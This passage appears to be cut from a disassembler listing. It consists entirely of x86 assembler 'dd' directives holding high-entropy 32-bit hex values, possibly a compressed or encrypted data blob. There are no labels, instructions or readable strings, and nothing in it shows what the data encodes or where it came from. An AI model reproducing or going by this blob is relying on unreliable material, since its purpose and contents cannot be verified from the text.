		dd 9FCB16D7h, 6770009h,	28ADC772h, 0D61A4D12h, 0C25AE820h
		dd 203BFB18h, 5B557664h, 3837612Eh, 0F27A1D3Fh,	4A4F31Eh
		dd 0E0B29513h, 0B08BFF00h, 0CB5411EEh, 8DE1EFF1h, 0C844E435h
		dd 533082F5h, 0C6D2A326h, 7A9B000h, 0D66C88DBh,	96F80A4h
		dd 0D23EA0CCh, 0D9170B63h, 0F2009079h, 0D853001Eh, 16F44080h
		dd 0A5008DDAh, 63154D2Ah, 0CB89E21Ah, 18630B9h,	854EC01Dh
		dd 9A80C8h, 0BB8A9A1h, 67FCE028h, 0C8A5B307h, 8EA7944Ah
		dd 0FAF754A0h, 189B1D5Bh
		dd 53A2C386h, 0CCDD46C8h, 0B1EF558h, 6A80F1EAh,	14C261CCh
		dd 9A730228h, 5F75B731h, 0B90D5A20h, 8ABE007Dh,	9B4EE94h
		dd 9B2CB2E5h, 5B110C3Eh, 24A07F2Dh, 0ECABDCEDh,	1341DD1Eh
		dd 0EB93E7DDh, 0ED0CC8h, 6A09F462h, 0A951231Bh,	73055898h
		dd 0E708C03Bh, 0E20364F2h, 0B9B2F224h, 743077C8h, 0F92F4CEEh
		dd 642829A6h, 4883BDCh,	0D1DA2B80h, 0C63235E2h,	78BDA600h
		dd 0B40B6B15h, 47731313h, 0C0880FA8h, 0D0C485A7h, 771D80Fh
		dd 0E0B45575h, 44817580h, 997AB7B0h, 0EAAB0060h, 625DE9BBh
		dd 0B3EF921Dh, 8E1B2683h, 0C48CA29Dh, 40804F9Ch, 26257D0h
		dd 9D3AC298h, 0E0C98096h, 908CD00Ah, 9A8D0038h,	0F63204A0h
		dd 0C08A26AEh, 29BDA874h, 0F87DA6h, 7096901Fh, 4D01DD7Ch
		dd 21AE02Fh, 0F87C155Ah, 9EDA7982h, 52400C56h, 91C48A3h
		dd 4DFD061Bh, 0E45C78A4h, 525E1BCh, 36050093h, 7073BA7Dh
		dd 299409A9h, 0B879AAF9h, 6AC7B580h, 29C6A696h,	0E47F3Eh
		dd 530D7E02h, 6504791Eh, 29C4AAE9h, 66706482h, 3D60FBFCh
		dd 2D40010Ah, 541063DFh, 0DBD82033h, 7C632441h,	0E7F01602h
		dd 73C0E23Ch, 0C000B5A1h, 0A31F219Fh, 140F8EF9h, 18ADE3C4h
		dd 0D2C70300h, 784244E7h, 5426CB00h, 9D08FEBh, 9BFB1C70h
		dd 0ED3D8B7Dh, 80444804h, 11E41E34h, 487E3F27h,	70DD94h
		dd 446E0B13h, 6AF9C864h, 80A8745Ch, 47B418E1h, 24E30017h
		dd 6A60D9C5h, 3805C89h,	610500FCh, 7014EFA6h, 437FF58Ch
		dd 0F408012Eh, 0C8C17B01h, 4B2A9427h, 50488004h, 8A00AB9Ch
		dd 730A9671h, 58411793h, 322EC288h, 0B2460264h,	548080B6h
		dd 97E6A81Eh, 0FD6B8900h, 0F21D9D7Dh, 0C1D12C8Eh, 0F61198h
		dd 0EF8772DDh, 13DCC5Eh, 0E8B7C60h, 0DA681502h,	0AC601456h
		dd 0E8FF9078h, 3DE42DD4h, 0D9E01490h, 16EC1E01h, 73C9F7B2h
		dd 2C29D3DCh, 1C46A4DEh, 7CEC6Ah, 6D06E647h, 3331AD3Bh
		dd 0C00C1C2Ah, 27D4BC64h, 3048C817h, 920CCF29h,	0E060B466h
		dd 6A0713BBh, 393CF295h, 91DD003Fh, 63275BD3h, 351D0102h
		dd 0EAA1F1F4h, 2402C2Ah, 8086D497h, 9DCB20FAh, 7F1F682Eh
		dd 0FF80116Eh, 0F44372E0h, 26650063h, 8FB53B39h, 0AB0C5305h
		dd 71320C5Bh, 0F63F2A4h, 8D06878Bh, 550B4FC1h, 48B82D78h
		dd 0F96D09F4h, 1BAC10A9h, 0BA68A3E4h, 9D04E0C5h, 0E7760CC4h
		dd 0BC3922ADh, 55778C03h, 0A04163ACh, 7A1F9B9h,	7A453F06h
		dd 0B20555C1h, 0A60B00E4h, 354B3B0Dh, 0A54F0069h, 14F53E7Bh
		dd 9C1DCCD4h, 0F18028B1h, 0AB6BCF26h, 51A70E77h, 0BF9DA1C5h
		dd 17D74085h, 637898DEh, 598034B9h, 9FE07B2h, 0A9D60017h
		dd 2AA0999Bh, 328EF4Ah,	2C03147Fh, 0C83494D7h, 0E692D8BCh
		dd 0EACB0596h, 808E93E2h, 0CA16EA0h, 0A43027h, 973C5EF8h
		dd 99550006h, 52A5F09h,	7E16F8E5h, 9C88CB25h, 0DCB50012h
		dd 27078594h, 0B0049FBCh, 145CFA2Ah, 0C8F2CF40h, 4F0124E6h
		dd 0D90BDC4Dh, 10DCA7BCh, 946C7D06h, 0CE28405Ch, 4C00C166h
		dd 881CDCEBh, 4128D8Eh,	345C1BB9h, 9B04B0A2h, 165E413Ah
		dd 0FC064C45h, 2F184672h, 5B0557B6h, 55208CC5h,	3600C6F4h
		dd 7731FB12h, 168F8CE6h, 20AF4DA1h, 32789AF4h, 79106700h
		dd 19B0ED2Fh, 2C57007Ch, 3B0B051Eh, 5602E60Ah, 2AF6550h
		dd 23C7E2D7h, 1676BADCh, 0C8B7D988h, 990F81FCh,	0C0D5C8FEh
		dd 0E5D73F64h, 134F7C06h, 1159D20h, 94D196C0h, 0FBB42023h
		dd 1BEC700h, 0A517E334h, 5AEA04C3h, 40AD7595h, 5CECF173h
		dd 336C009Dh, 6206CA0Ah, 82005718h, 4BD9F3C3h, 26E74572h
		dd 60D4EAA4h, 0A7312EF1h, 97E26E3Fh, 62039B6Bh,	0D972838Dh
		dd 0A86C6462h, 7E14ED83h, 6D8DC690h, 44EC942Dh,	0AF1B07A0h
		dd 0E1641577h, 0F99B5859h, 6B39C05Ch, 23980800h, 88F1550Dh
		dd 0F3C10B83h, 400BA7C7h, 0A535E800h, 57030760h, 319CE180h
		dd 9805B867h, 79552808h, 85720140h, 1B216892h, 4862DAh
		dd 3256007h, 48970D3Fh,	0AA041C70h, 806F05E8h, 0EC6749ECh
		dd 5B5DA0A0h, 8CEA8907h, 0C67268C8h, 0FA608775h, 50B99870h
		dd 78150062h, 5D357680h, 5105CB3Eh, 0D39681B1h,	0C2FBD490h
		dd 0A3F825E6h, 0C51B7C68h, 0AF9197F7h, 3451A0D0h, 156307D6h
		dd 20A61326h, 74A15B2Bh, 0A585C0C8h, 0B9633490h, 0C9D63700h
		dd 0C1B22DA2h, 4FC605DAh, 0FED0948h, 0A6A3E9E8h, 4CE007B3h
		dd 8028D19h, 0E83094AFh, 754464AEh, 0B4C71FE0h,	399D0F64h
		dd 0AC353762h, 0FF3F6844h, 69998007h, 0A21B6D02h, 4B2A3DBBh
		dd 0CD06D984h, 8F224h, 9455A32Dh, 42267D8Dh, 9E4D2E8Eh
		dd 28115D02h, 0A7A780C5h, 0F84CF1B0h, 98910B3Fh, 3C904626h
		dd 2B00CD94h, 6D6C32F4h, 9E3521Ah, 5853D409h, 0C80E1458h
		dd 4BADF34Ch, 0D458998Ah, 3F6F96C8h, 0EA9CB272h, 0B191425Dh
		dd 0B4C367A4h, 0A260E8E0h, 0FF00F494h, 0CCB8838Bh, 314CCCB9h
		dd 405AAF1h, 0E89A7D0h,	435654C0h, 0A2A002C7h, 0CF2F4B36h
		dd 9163E860h, 323CB50Ch, 95856428h, 105450B0h, 64F28B00h
		dd 4F41212Eh, 61CF00D5h, 0EB0E2B26h, 0BF00762Fh, 934605EAh
		dd 0A253DAh, 0FE96C887h, 35D38073h, 0C4C71A27h,	94262584h
		dd 38E410A9h, 1CE7173Dh, 0D74042DBh, 358D2FB8h,	133B74B5h
		dd 22C2E79h, 39615516h,	8F1F58F1h, 82CE6900h, 3CF24CA0h
		dd 0FA874ADBh, 0F92835C5h, 0C4EF1CC8h, 0F500A3E8h, 1C73782Fh
		dd 0A8175CA2h, 0DADFB8h, 0D8E70EFFh, 0DCE8022Fh, 409E1EEAh
		dd 0F3F9AA40h, 59F73C32h, 43CA200h, 6F193565h, 9029D800h
		dd 0AAF5DF38h, 0B65F5005h, 95340161h, 9F78307Fh, 9A26C819h
		dd 48F490B5h, 4C04C6Bh,	31AC5E00h, 0B4F3BB57h, 0F1472102h
		dd 7EF69885h, 396A40CCh, 0BF006C46h, 0F05FF703h, 0DA0795h
		dd 5B0A7DF2h, 0FA5CBB6Bh, 4306CE00h, 0CCB55242h, 8078B1EDh
		dd 317E46FDh, 6400C5D2h, 0DC296371h, 0B17F82Bh,	30135532h
		dd 177EBC69h, 342C1040h, 16BF07A8h, 7711B2Fh, 0D49E8024h
		dd 9A134219h, 6C00C4F0h, 91DBC64Ch, 978F0081h, 69EA0C7Dh
		dd 43040440h, 0F163E641h, 26827EC1h, 9850223Ah,	0D44070C2h
		dd 24004F96h, 0A5D1654Dh, 48A347FEh, 7102704Eh,	0ADF92195h
		dd 0F20064DAh, 0F3B7D38Fh, 0CCC28Eh, 7EA1E09Fh,	0B5484CE5h
		dd 43C5B600h, 8C781C83h, 679200D1h, 17AB5FA7h, 8406A476h
		dd 0CF618564h, 262B44F8h, 15166B00h, 0DE8EF158h, 20EB4AE8h
		dd 1A324A34h, 13EC7800h, 2F8B4CADh, 378C4h, 36AADC6Dh
		dd 0D550AD8h, 0C7803894h, 0C525E7F2h, 3EB8997Ah, 0AD30D180h
		dd 0C31955A0h, 0AA001B76h, 2AD6424Eh, 7BBC893h,	1C756574h
		dd 0F8E8F1B1h, 80982DA9h, 14E594BCh, 8058996Fh,	4812D20Ah
		dd 90BD37CFh, 1E7B7C2Ch, 0E03A69h, 0CACC0F67h, 104C7005h
		dd 23451D64h, 7E4E4A5h,	0EDFD5220h, 76DCC0DDh, 98008A88h
		dd 0C8562455h, 0C6AFAB3h, 0AA055332h, 16453F98h, 4E02C833h
		dd 9E3BC809h, 388FE1E1h, 0EC8BA014h, 91E50092h,	0C75904F4h
		dd 0FE72BC78h, 0B5D4400h, 81E709ABh, 76A51327h,	403CC8CCh
		dd 0DBAD9C00h, 0A4F79066h, 2F1E1DA3h, 8E02403Dh, 1892C322h
		dd 0E6EC0803h, 0F02B5A9Fh, 3B4EC7h, 0D7D8041Dh,	4477D267h
		dd 0B55470Dh, 4235915h,	0C2B97907h, 4EACF06Ch, 89173ABAh
		dd 4C001B7Ah, 0D25AA450h, 0A8402464h, 0E26500DCh, 3BDE25F4h
		dd 283EEE0Bh, 6B143195h
		dd 8870ABFDh, 0F91B0094h, 0A8C8847Eh, 0B5757B45h, 1095787Eh
		dd 3A026500h, 0B30058D3h, 0D49FFCF0h, 10FAE83Fh, 0C4FF9C1Ch
		dd 0F7944Fh, 15951A7Eh,	9CCAF0CEh, 1B4A4010h, 3E000F04h
		dd 5951D47Fh, 0D3DC7ABh, 0E82BB1DEh, 90688Ch, 0ECAD7854h
		dd 888CC51Ah, 0E6E63806h, 0C8A42F28h, 0B17E56F0h, 3C90DCFEh
		dd 0E5D1BF09h, 60C494h,	32CBF4A5h, 5C51B6B0h, 0DAA96700h
		dd 0B3D9574h, 0C66D00CFh, 0EA540735h, 10B77F93h, 115960h
		dd 0AC3071B7h, 0E30ACC24h, 0B31F8907h, 19912AAAh, 203E43DAh
		dd 0C2179A4h, 0FD00C679h, 40D510D3h, 9B413Ah, 710E5663h
		dd 1AFB943Eh, 0CC56D64Fh, 83C4B0h, 4264FD85h, 0E7387D0Ah
		dd 794A0513h, 0F135D000h, 16C79DD9h, 0AE5AD292h, 0FC31C716h
		dd 856EF71Dh, 4F0009B4h, 1A00D879h, 0F3C977D4h,	55CD1ED7h
		dd 0ECC44F89h, 0A8328F21h, 6714D8F8h, 25D29609h, 9040D928h
		dd 8DC48006h, 3FC5161Ah, 2CFC11A0h, 372186Bh, 36495BB9h
		dd 0F4D2E3FAh, 90B55790h, 0F2B2AAA0h, 5B1801EEh, 37664AF5h
		dd 9A32016h, 0DA852A02h, 0D275D2BDh, 0C1E83758h, 8F0BD01Eh
		dd 0B71CFF81h, 0BBC0726Ah, 27CA3ED5h, 385560A4h, 0AED024A2h
		dd 62382095h, 0B5B1A1h,	20A5C654h, 4541E7D8h, 2D1FF60Fh
		dd 15C050F9h, 616B7330h, 0C22476F8h, 404EFC7Dh,	0DB35EDD9h
		dd 8A70002Fh, 0D5A1364Fh, 0A50554DDh, 37850B87h, 0C005F4B8h
		dd 0B326ED0Ah, 0F93389A8h, 23F800F8h, 4148C4C3h, 0ADB2AC00h
		dd 0F965D18Bh, 94C7176Dh, 0FF8C8822h, 4D027F7Eh, 0BBCA437Ah
		dd 2024AE38h, 8582D8D2h, 22A20E5Bh, 0F140D9D5h,	32072388h
		dd 0D0A037F6h, 81B53F1Eh, 0EDC6B2C8h, 6B83A039h, 2007276Dh
		dd 188A3472h, 77A4B8B0h, 815F1EE0h, 2DF1E0Dh, 0F65BA26Dh
		dd 9540BC7Ch, 0BC51A5h,	0BAAF7415h, 3D418F77h, 0C9BF39h
		dd 3BBDB664h, 44AEE61Ch, 0D5001E1Ah, 11F935E9h,	0FD9233h
		dd 274E1083h, 1E3957A6h, 88BD151h, 72072480h, 1D86867h
		dd 949E2830h, 4C3675D0h, 0B293D497h, 0DDC70088h, 0A7D7B594h
		dd 9FD33EC4h, 73820401h, 0DB262970h, 17EA1E3Fh,	542079D4h
		dd 0B7A58Fh, 0B822F408h, 0FC21C9FFh, 0B14DFD00h, 0E3BE8894h
		dd 0EFC124C5h, 4592088Ch, 0A526D480h, 0BE9DB46Dh, 0CEAD414Ch
		dd 0CAA8D063h, 130426B0h, 79DA7AE9h, 3E654A4h, 271C6AAh
		dd 0CC906136h, 3077DFA3h, 86E44F1Dh, 78ECB149h,	462E0B4Ch
		dd 0FD8253D9h, 0D0FC0F56h, 4FDA414Fh, 0D0739626h, 0F20D4904h
		dd 3C78A97Eh, 0FA1C80FBh, 7D01E99Bh, 1A8400C9h,	4095D534h
		dd 272E05F0h, 0C3616C91h, 284073ECh, 27E92DA9h,	34C4E00Fh
		dd 3F841203h, 88091690h, 487630Eh, 719C691h, 5D20217Fh
		dd 0EB272F8h, 16184017h, 1E0DEF20h, 9276744Eh, 7BB08873h
		dd 0CC0B532Ch, 463EA604h, 0E9D91B05h, 1DAF1190h, 0A7E70h
		dd 243A0958h, 9F4DA843h, 5042D038h, 0B10438DAh,	733514FEh
		dd 1F480A4h, 0AC4D8E8h,	0C8B85B2Ah, 0B3A4D26h, 3DD307E7h
		dd 981154Ch, 202BBDD9h,	4348CE84h, 7929CC2Ch, 28EBF00Ch
		dd 0E8EC2C6Eh, 90E267ECh, 27CEE626h, 48C3C607h,	0E13EC0B7h
		dd 20B3FB97h, 0AD80E478h, 49DEB56Bh, 90D5D61Eh,	7A5842C0h
		dd 4B6F6D24h, 5F3C881Ah, 0DC77A81Fh, 4CECD640h,	11046A65h
		dd 21BAEE7h, 41A779EDh,	81F260B4h, 0D49900CBh, 0C9F4BFB9h
		dd 0B0091249h, 685D0354h, 31BCCCh, 0E162A042h, 0DFF4AF20h
		dd 320DCD00h, 0E6783019h, 16F4B05Ah, 0B346DA87h, 0E7B38BCh
		dd 0C49BEA79h, 0F0C0C3A1h, 8FF13Eh, 4D610663h, 7D8C5C64h
		dd 31808896h, 0F1BA9E10h, 89A2144Eh, 5E80E0ADh,	6B9C6FEFh
		dd 0CF11FB07h, 1CC0FD87h, 0BDBD3DFh, 56784BA6h,	803E285Bh
		dd 0C60A9F2Fh, 9C18CAB8h, 0B80349C4h, 0A3D1E05Fh, 0CC7C74h
		dd 90F54669h, 5CBFD9FAh, 0BE0000D4h, 36EBBCBBh,	0CC9979D7h
		dd 41BA170Fh, 0EC4CBF1Bh, 78C0402Bh, 0EDD2D8FDh, 0F67E22h
		dd 98A5763Eh, 59B19D8Bh, 4DA42D00h, 0CE033655h,	88284FE9h
		dd 83014320h, 9A78D3C0h, 0E7C4ECDCh, 82AD34F8h,	6C6CCC21h
		dd 0DD53CA00h, 4F8D0A3Ah, 9FF4096Eh, 64908078h,	0D85C5ACAh
		dd 0DA030178h, 0C3F1957Eh, 7D9674C8h, 0BA7C0165h, 0D478804h
		dd 7005F406h, 48FAEEE1h, 795ED80Fh, 0E78627FBh,	0B8DB5CA0h
		dd 74BC3EC5h, 45E29E0Ah, 236943F4h, 0CE371600h,	55CF6B30h
		dd 0AB620A61h, 4C45E67h, 0CC34521Fh, 0D998E30Ch, 0F906830Fh
		dd 8C4918A3h, 0BC30541Ah, 93B91354h, 0FB08207Dh, 230134F8h
		dd 1215C0E3h, 0B8FF20C7h, 0C05DFh, 1A41DA74h, 1F8F4D86h
		dd 0FA6D8E1Eh, 0C089D913h, 3D017872h, 704FE3Ch,	0B120F81Eh
		dd 6F504A01h, 3B91F266h, 69C00BE7h, 0AC908063h,	8B00B972h
		dd 0F77B17E1h, 264ED08Eh, 0E0453Ch, 5206894Dh, 0DAF0B51Ch
		dd 0B55F113h, 4D12BCB2h, 76C030F7h, 800F43Dh, 6C077145h
		dd 140FE8Bh, 613B1C66h,	0E864C3CEh, 0C002A3E2h,	94D143DFh
		dd 0E0ECE36Bh, 28C76031h, 116C2D18h, 42B3CF9h, 5FA1E7EDh
		dd 4F0014FDh, 889348F4h, 0E00172EFh, 0A42FAB73h, 76D0E924h
		dd 5FDD03FDh, 8DC717DCh, 0AE405107h, 18B03E5Bh,	17F8943Dh
		dd 20808B76h, 0D6032EC8h, 81FA8E05h, 1CECD154h,	431D6F00h
		dd 5D3C599Dh, 510E1044h, 5CF6CAB1h, 5EF626Ch, 33407456h
		dd 16BD2BBh, 9491D7F8h,	3C721675h, 99B38190h, 0ECE45945h
		dd 0CCA35E5Dh, 0C8521BC8h, 0A8F917D0h, 84E2E088h, 968D3002h
		dd 46A2F8FCh, 68190B34h, 0F8B0A326h, 0F7178BFCh, 7C003CE0h
		dd 34481E3Ah, 6B7917C1h, 7440309Eh, 0B700FD50h,	0A3E7177Dh
		dd 0E9030Dh, 8E0B9E11h,	0D559BECEh, 0B8732F01h,	15A4F8ECh
		dd 2F8B5852h, 0C60B5840h, 88986F44h, 0F28E8100h, 0AA053188h
		dd 7EF807A9h, 20615684h, 779E7096h, 754134Ch, 1A85F166h
		dd 0C4587592h, 0DB823EBCh, 2FC90100h, 997C1C95h, 0DA9BC000h
		dd 443F853h, 4AE40157h,	4C05ED2Eh, 9DBAC007h, 18B45A05h
		dd 983389E0h, 3A15D86Dh, 10209773h, 253EB8BAh, 2B67605h
		dd 10C87DA6h, 0F6030089h, 0E31E0A4Bh, 6C1EF32Dh, 35C023D4h
		dd 0D694FD1Dh, 0E91C008Ch, 5F162A2h, 0EA5B885Ch, 0B7AB6023h
		dd 983A81B0h, 0CAA20ACDh, 11E876A4h, 81643F26h,	0CECC897Ch
		dd 82CB859h, 2B20B80h, 0A6008ED2h, 42ED479Ch, 9A9187Bh
		dd 0D02A2DC1h, 4016B084h, 0A46DEBDFh, 0F6C70F89h, 0F36B1F97h
		dd 841CC871h, 2F20409h,	0FED7186Ch, 0FE2D419Ch,	0F4A131CAh
		dd 0EA146050h, 281CA8F8h, 7248CC25h, 0A49D1D76h, 0FA65F240h
		dd 0EA495536h, 988D0066h, 0ACC818FFh, 7F0F684Fh, 7BA2CEh
		dd 0FA55C34Eh, 157437D5h, 1D692048h, 0E0025EDEh, 1A6614FDh
		dd 5871C8h, 0D992FF6Eh,	3CB8F2DDh, 18A2EF4Bh, 0DF3E810Eh
		dd 0FDA82560h, 0BF00CF58h, 6692A034h, 1F7252A4h, 1715CECDh
		dd 78F0C12Fh, 5FC45208h, 1600F45Ah, 3FF4C62Dh, 2AD87B8h
		dd 88974CDBh, 38D47DAAh, 0D71AA080h, 113B9BEh, 0EFA4EAFFh
		dd 0D3AFAA04h, 0BC85E0E9h, 38404A29h, 0CA7B10C3h, 0CD15003Ch
		dd 7050AE25h, 23483943h, 35380148h, 992826A3h, 0E705CC29h
		dd 0B8156805h, 32F680F8h, 3F02C556h, 1D873A59h,	60360DF0h
		dd 2FE70964h, 8498747Dh, 5D982612h, 0D107A4D2h,	0E2A778h
		dd 580C115Dh, 7E0D298Fh, 591BE9A3h, 35A07C93h, 6207ED28h
		dd 3ECBE73Ah, 0E609D710h
		dd 0EC560A14h, 242C0F55h, 7D012D4h, 40158C06h, 24379D3Ah
		dd 826BCF0Bh, 50443Eh, 0ED3154CCh, 4A1F8E30h, 6A80CE50h
		dd 0ADDDF917h, 0E8626023h, 0EEF5C999h, 0C104026Ch, 298A513Bh
		dd 58C1E042h, 67388209h, 60305F01h, 35A238h, 0AB71BFAEh
		dd 3BF01EE3h, 6C405D5Bh, 0D7EC9A28h, 8DD0018h, 72BA459Dh
		dd 0B7F0884Ch, 8FA42400h, 0E80AD793h, 0C17DFEC4h, 1758339h
		dd 1BF0D0CDh, 1566A212h, 0E249820Fh, 0C8EC093Dh, 0F54D872Ch
		dd 0B57F2670h, 9BFE1C20h, 0F7011856h, 737966E7h, 0C081F5A9h
		dd 548E1A57h, 903D5Fh, 0FE088CE2h, 1C2439AFh, 57B13D73h
		dd 0C2831CD7h, 115B9E3Ah, 5F946C7Eh, 0E2C1076Ch, 8CE08D1Ch
		dd 53DFF0h, 0D3354FCCh,	0BC7783CEh, 0D9BB4200h,	0F65EFC07h
		dd 0E1B92EF3h, 35811E8h, 6041D8FAh, 5BEBA822h, 0C37A84h
		dd 0AAE77ADCh, 0A4302894h, 9AD05C0Bh, 3C24905Fh, 0F6190E76h
		dd 0AB20F070h, 714BA029h, 0AE40D4BCh, 7EDDA5CCh, 68CF0384h
		dd 8CF5F946h, 0B96607A0h, 81EA5F3Ah, 0DE9DEF05h, 1C3D7EECh
		dd 9FB61C77h, 0C64EC26Fh, 0F740F57Bh, 791CB10Bh, 0EB805A0Ah
		dd 0E03F3B2Fh, 2D1B807h, 0C01E6FAEh, 24608272h,	8E02F157h
		dd 0DE1B7BA0h, 385DFEh,	0E0131B7h, 9C8E5933h, 4A801CEBh
		dd 0FDA339E6h, 4003C63h, 0F3C74611h, 983D9F89h,	0C4A00970h
		dd 4898DE18h, 0C61C4A39h, 6785B69Ch, 0ACACA0F9h, 46601493h
		dd 26428305h, 8934FC92h, 0C4980ABDh, 0C890D83Fh, 3F1440C5h
		dd 313B466h, 48A2ED17h,	0EC578B00h, 3229DEDDh, 0A79E3502h
		dd 6040D78Ah, 5CF8ED70h, 6A80403Ch, 38D12D41h, 41937F30h
		dd 1E89E79Ah, 8095E4BBh, 0ADC4D431h, 454BDEE8h,	882A8CD0h
		dd 0B5B824D6h, 0C9EE0094h, 2887C863h, 5B3B1009h, 56BC0341h
		dd 0BAAA4BFh, 4C84C6B0h, 0E8754918h, 4660AB0h, 4978AB38h
		dd 906682AFh, 0F9183CE0h, 0EC20A65Eh, 4E9EB3B4h, 33CA2EDh
		dd 31AB922Ah, 3742D17Ch, 0E8F4A4D5h, 0E050F5AEh, 13D217F2h
		dd 309E7135h, 0D0FE26CCh, 0E1686100h, 0F9AC4117h, 1FF70E44h
		dd 74E13673h, 0EC61A2EDh, 40A00F3Ch, 2CB84A88h,	385DB413h
		dd 8F8BE008h, 0E1095015h, 0A9F91048h, 0CA407CB4h, 0FA9D762Fh
		dd 8AAE0F30h, 9084CB60h, 56E0D0AAh, 0B1C61C14h,	7391A5Ch
		dd 0BFB41894h, 0E00A60C2h, 9B00254Ah, 1A11D848h, 0B0FB64CFh
		dd 0CC9A5E04h, 3D006C88h, 0C86506E5h, 0BFB634E7h, 648D9890h
		dd 0D847DF27h, 0C59F3AAEh, 0AE48AD83h, 0BFF0D1E7h, 794BDADEh
		dd 63968490h, 0E93F1DF6h, 91E4022h, 920776B3h, 1A4FFC05h
		dd 78048FE2h, 1B4F0DA7h, 59503092h, 0D8A4D91Ah,	0D0C8F94Fh
		dd 9FB7F61Bh, 66132082h, 0C0000866h, 1679642Bh,	43196h
		dd 34C5B3C8h, 92CEC4D2h, 99A46B09h, 6E3001EDh, 203AAF84h
		dd 272AD138h, 0E3E28D00h, 0FA1153C8h, 5E894C4h,	0A2DB26E6h
		dd 5ABD0010h, 1374D8F9h, 0BB4E0062h, 3954BF22h,	0A9007BD9h
		dd 8DD33017h, 4ADE4F8h,	0D4634A6Fh, 80F0F836h, 5F42B51Ch
		dd 12676BAh, 54A24CDAh,	0C0A063E8h, 0A50937B2h,	1274757h
		dd 6E150580h, 89FC5470h, 0BC733Dh, 190B3503h, 710EFC2h
		dd 7597E4EBh, 0B8E6C4D6h, 677E8088h, 0BAF83Fh, 0E522FDB6h
		dd 0CF59E8A1h, 0C88C184Eh, 9FD9F0CEh, 68C4A098h, 6AAC4900h
		dd 8C282591h, 7F31C5B0h, 2D1C03F6h, 95F0E4E0h, 807EB25h
		dd 0B3C0BD77h, 1541424Fh, 0A0A8C33Bh, 3DEA695Ah, 0C84EA17Eh
		dd 29078DCCh, 5B054FCAh, 21FCB730h, 0D38500F2h,	98C7F15Ch
		dd 0C63F04B1h, 4B73A552h, 0BA48D87Ch, 0C2780050h, 11939DBFh
		dd 87F22ECDh, 0D5CCFB04h, 20AFF7F9h, 76E5420h, 1FE1820Bh
		dd 9C478120h, 72703A3Dh, 3C755CD0h, 986B440h, 0CB7AA7BDh
		dd 0B802487Ch, 0DC8C2662h, 4D2442E0h, 0C0C6F1E2h, 462A9603h
		dd 8094E41Ch, 9B9095Fh,	9827D0EDh, 1C61B412h, 0C0207B6Ah
		dd 124B6Eh, 6D0F08D3h, 76F639F8h, 27DF4F3Eh, 31CF0A4h
		dd 0B0B7D3CDh, 0D2B493D7h, 0BCD11788h, 64D9C600h, 155DD54h
		dd 0DC656096h, 0C3622A32h, 3BA07EC9h, 0A357DC80h, 0A8F92403h
		dd 6D8C40B8h, 8D17C808h, 34887E81h, 0DBD92E65h,	17F36350h
		dd 4AE25F8h, 7C7DA47Eh,	0AC952E00h, 76D886D1h, 88265F6Ah
		dd 0B900FBE0h, 3491B664h, 144072E4h, 0E8CA31E8h, 0FA15710Bh
		dd 123BD000h, 0BE0BC057h, 9CD9F3h, 285DF558h, 0BF85F4D6h
		dd 264EA000h, 0C804595h, 225C98D0h, 0C8005E90h,	6B308C44h
		dd 9974D4EAh, 0A5F50004h, 0C04F42F1h, 8AED1E02h, 0E1389EF2h
		dd 0E8393F75h, 35EF0700h, 6F058A4h, 0FFB24202h,	0E6750CBDh
		dd 0FC3C1730h, 5FCF00ADh, 1AB184C5h, 0F84A4525h, 0F098011Ch
		dd 0B41D92D1h, 0E0233A75h, 4A02C8BAh, 9C501CA0h, 0E87409Dh
		dd 244198BFh, 26DAA3Fh,	3F209654h, 40047428h, 1C8F8D89h
		dd 0A3F96412h, 9600D0B3h, 5ED1B7A7h, 640541A4h,	7A3282Dh
		dd 7D559CC1h, 3D1EA422h, 0DBF6C006h, 0ABA24957h, 55ED8E09h
		dd 42B4DC0Fh, 0C54699Ch, 4D151E05h, 8D8198ADh, 32AC3868h
		dd 0ADE9008Ch, 0AB5AC092h, 0B5A60B36h, 8704ED5h, 0F020CD4Eh
		dd 0E27F4301h, 0B60400FBh, 97B8107Eh, 0BF27B9Fh, 416F1501h
		dd 95A6155h, 2C9091h, 0C97C6AD1h, 51FC373h, 0D397282Ah
		dd 1682C03Bh, 44FD6E6h,	0C27228DCh, 0F87DC3F8h,	18E14320h
		dd 1897B0Bh, 99EE21BFh,	30AB6A6Eh, 87E67F38h, 93800F11h
		dd 24DAB800h, 75A14DC6h, 52A8C225h, 0A3C70190h,	0ECF15D11h
		dd 4C03CE6h, 0F2828022h, 0A948A480h, 36141293h,	3884F20Bh
		dd 0B42D89E3h, 0FFF300BCh, 4F099EBh, 0E623BA6Eh, 960F8CFh
		dd 4845C566h, 39D63970h, 27ACAC7h, 0F625CB12h, 8841AB16h
		dd 7F7884B5h, 1F81F163h, 72F44F13h, 0F8B0975Eh,	0C839495Fh
		dd 5C56A65Bh, 0B46E441Eh, 4611D847h, 0C2C8C4E1h, 68B730D5h
		dd 899363AAh, 0E8E25D4Ah, 5BA46E3Bh, 436262Dh, 0C23DE924h
		dd 74407334h, 3300F14Ch, 91208CDCh, 0FA88ECD5h,	0ABFF0925h
		dd 8545B14h, 688C5500h,	0F6C2E411h, 80E89EAFh, 9B7D548Ah
		dd 0DD13A5A6h, 0BBD758h, 35961364h, 0BB3AC836h,	92CF80DCh
		dd 4F1E81Fh, 0AB5913CEh, 45DC207Ah, 0B600AF70h,	0D884A748h
		dd 56D3B65h, 0F488193Dh, 6A8003C6h, 0C9FDE31Ah,	80CC28D4h
		dd 631D7209h, 17B00030h, 9CF0506Bh, 950034D3h, 0A8E008C1h
		dd 0BDF1D63Eh, 45911030h, 0C470CF89h, 0AF4A25FBh, 0AE747C48h
		dd 0D2C57F00h, 75B96ED5h, 0ECE45C1Bh, 0CC9E36C0h, 0A7F6C048h
		dd 0CFA3E13Ah, 0BC23EC27h, 0BF80C56Ch, 23C7C6h,	59BEBF9h
		dd 1FCEEFF0h, 38A03090h, 0E14FBD55h, 76E82809h,	291504ACh
		dd 0B1ECA446h, 2E14910Fh, 4A3CC0D7h, 60F8B9A9h,	0EC27C9A6h
		dd 10BF26D3h, 4A7E14h, 4CD9BF69h, 0FE564E65h, 0BB3F1400h
		dd 83733068h, 6768C0B4h, 95ECA620h, 0A8F8CD12h,	44755C22h
		dd 911E3B40h, 558AB401h, 44DF19FCh, 9F943070h, 0CD00A12Ah
		dd 6F203554h, 9C7F3C8h,	7D58B650h, 8683A010h, 0AC427100h
		dd 698F7E30h, 8E80FFAh,	0E7CB22C1h, 0D4021064h,	0BF7516F7h
		dd 48AD4015h, 80210F53h, 0C28117CAh, 286EB088h,	59050598h
		dd 0FB8194C4h, 0F6C4585Dh, 0C71B292Bh, 17F8A6D4h, 65F0D1E3h
		dd 22A7E458h, 0CC9994F0h, 0E1A1E703h, 54ADA206h, 9488030h
